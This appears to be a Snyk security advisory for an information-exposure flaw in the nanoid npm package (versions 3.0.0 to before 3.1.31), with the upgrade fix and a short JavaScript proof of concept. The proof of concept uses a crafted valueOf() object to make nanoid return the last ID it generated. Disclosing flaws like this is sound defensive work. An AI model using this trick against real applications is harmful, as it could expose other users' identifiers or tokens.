Information Exposure Affecting nanoid Open this link in a new tab package, versions >=3.0.0 <3.1.31


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

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  • snyk-id

    SNYK-JS-NANOID-2332193

  • published

    12 Jan 2022

  • disclosed

    11 Jan 2022

  • credit

    Artyom Arutyunyan

How to fix?

Upgrade nanoid to version 3.1.31 or higher.

Overview

Affected versions of this package are vulnerable to Information Exposure via the valueOf() function which allows to reproduce the last id generated.

PoC

import { nanoid } from 'nanoid';

const makeProxyNumberToReproducePreviousID = () => {
  let step = 0;
  return {
    valueOf() {
      // // if (!pool || pool.length < bytes) {
      if (step === 0) {
        step++;
        return 0;
      }

      // } else if (poolOffset + bytes > pool.length) {
      if (step === 1) {
        step++;
        return -Infinity;
      }

      // poolOffset += bytes
      if (step === 2) {
        step++;
        return 0;
      }

      return 21;
    },
  };
};

const ID1 = nanoid();
const ID2 = nanoid(makeProxyNumberToReproducePreviousID());
console.log({ ID1, ID2, isIDsEqual: ID1 === ID2 });